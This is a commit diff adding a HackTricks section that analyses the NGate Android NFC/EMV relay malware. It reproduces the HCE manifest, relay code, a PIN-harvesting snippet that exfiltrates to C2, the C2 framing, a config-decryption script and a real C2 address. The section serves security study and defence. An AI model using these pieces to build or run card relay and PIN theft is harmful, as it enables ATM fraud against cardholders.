Skip to content

Commit 6ad5d8d

Browse files
authored
Merge pull request #1556 from HackTricks-wiki/update_Analysis_of_NGate_malware_campaign__NFC_relay__20251106_124001
Analysis of NGate malware campaign (NFC relay)
2 parents d9134a6 + 5ab43cb commit 6ad5d8d

File tree

1 file changed

+119
-1
lines changed

1 file changed

+119
-1
lines changed

src/todo/radio-hacking/pentesting-rfid.md

Lines changed: 119 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -156,6 +156,121 @@ If you need a **long-range**, **battery-powered** solution for harvesting HID Pr
156156
maxiprox-mobile-cloner.md
157157
{{#endref}}
158158

159+
## NFC/EMV Relay via Android Reader↔HCE Emitter
160+
161+
Classic EMV relay can be implemented with 2 Android devices: a victim-side reader that captures live APDUs and PIN from a real card, and an attacker-side HCE emitter at the terminal that forwards APDUs upstream. The analyzed NGate kit abuses legit Android NFC APIs and a simple framed TCP C2 to orchestrate real-time ATM cash-outs.
162+
163+
Key building blocks
164+
165+
- Reader-mode app (victim): uses NFC reader APIs to parse EMV (PAN/expiry/AIDs), displays scheme by AID, asks for PIN and exfiltrates immediately.
166+
- Emitter-mode app (ATM side): implements Host Card Emulation (HCE) with `android:requireDeviceUnlock="false"` and a payment AID; `processCommandApdu()` forwards APDUs to C2 and returns minimal response.
167+
- Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.
168+
169+
Android surface (Manifest/HCE)
170+
171+
```xml
172+
<uses-permission android:name="android.permission.NFC"/>
173+
<uses-permission android:name="android.permission.INTERNET"/>
174+
<service android:name=".nfc.hce.ApduService"
175+
android:permission="android.permission.BIND_NFC_SERVICE"
176+
android:exported="true">
177+
<intent-filter>
178+
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
179+
<category android:name="android.intent.category.DEFAULT"/>
180+
</intent-filter>
181+
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
182+
android:resource="@xml/hce"/>
183+
</service>
184+
```
185+
186+
hce.xml example (no unlock + payment AID)
187+
188+
```xml
189+
<host-apdu-service android:requireDeviceUnlock="false"
190+
android:description="relay">
191+
<aid-group android:category="other">
192+
<aid-filter android:name="F001020304050607"/>
193+
</aid-group>
194+
<aid-group android:category="payment">
195+
<aid-filter android:name="F001020304050607"/>
196+
</aid-group>
197+
</host-apdu-service>
198+
```
199+
200+
Transparent relay endpoint (HCE)
201+
202+
```java
203+
@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
204+
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
205+
bus.forward(apdu); // send upstream to C2/reader
206+
return new byte[0]; // empty response, pure relay endpoint
207+
}
208+
```
209+
210+
EMV scheme inference by AID (examples)
211+
212+
- A000000004 → Mastercard
213+
- A000000003 → Visa
214+
- A000000658 → MIR
215+
- A000000333 → UnionPay
216+
217+
PIN harvesting pattern (victim UI)
218+
219+
```java
220+
// Custom keypad publishes when required length (e.g., 4) is reached
221+
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
222+
// Network immediately exfiltrates via dedicated opcode
223+
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));
224+
```
225+
226+
Framed C2 (cleartext example)
227+
228+
- Client→Server: int32 len | int32 opcode | body
229+
- Server→Client: int32 len | body (opcode inside payload)
230+
- Reject bodies > ~100 MiB; keepalive ~7s (PING)
231+
232+
```java
233+
// send
234+
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
235+
// recv
236+
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);
237+
```
238+
239+
Config concealment: cert-derived XOR
240+
241+
- Native lib derives a 32-byte key as SHA‑256 of the app signing certificate (DER).
242+
- C2 config is ASCII‑hex in assets (e.g., `assets/____`), hex-decoded and XOR-ed with the key repeating every 32 bytes:
243+
244+
```c
245+
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
246+
```
247+
248+
Offline PoC to decrypt config
249+
250+
```bash
251+
# Extract signing cert digest
252+
apksigner verify --print-certs sample.apk
253+
# "Signer #1 certificate SHA-256 digest: <hex>"
254+
```
255+
256+
```python
257+
import pathlib
258+
key = bytes.fromhex("<sha256_of_signing_cert>")
259+
ct = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
260+
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
261+
print(pt.decode("utf-8", errors="replace"))
262+
```
263+
264+
Sample decrypted fields: `host`, `port`, `sharedToken`, `tls`, `mode`, `reader`, `uniqueID`, `ttd`.
265+
266+
Relay chain (end-to-end)
267+
268+
1) Victim installs APK, opens app → native init decrypts config from assets.
269+
2) App connects to C2 (e.g., `91.84.97.13:5653`) using framed TCP; keepalive ~7s.
270+
3) Victim taps card → reader extracts PAN/expiry/AIDs and sends CARD_DISCOVERED.
271+
4) Victim enters PIN → keypad publishes and exfiltrates via PIN_REQ; server replies VALID/INVALID for UI only.
272+
5) Attacker device at terminal runs HCE emitter relaying APDUs to the ATM and performs cash-out.
273+
159274
---
160275

161276
## References
@@ -165,5 +280,8 @@ maxiprox-mobile-cloner.md
165280
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
166281
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
167282
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
283+
- [Analysis of NGate malware campaign (CERT-PL)](https://cert.pl/en/posts/2025/11/analiza-ngate/)
284+
- [Android apksigner – verify/print-certs](https://developer.android.com/studio/command-line/apksigner)
285+
- [Android Host Card Emulation (HCE) overview](https://developer.android.com/guide/topics/connectivity/nfc/hce)
168286

169-
{{#include ../../banners/hacktricks-training.md}}
287+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)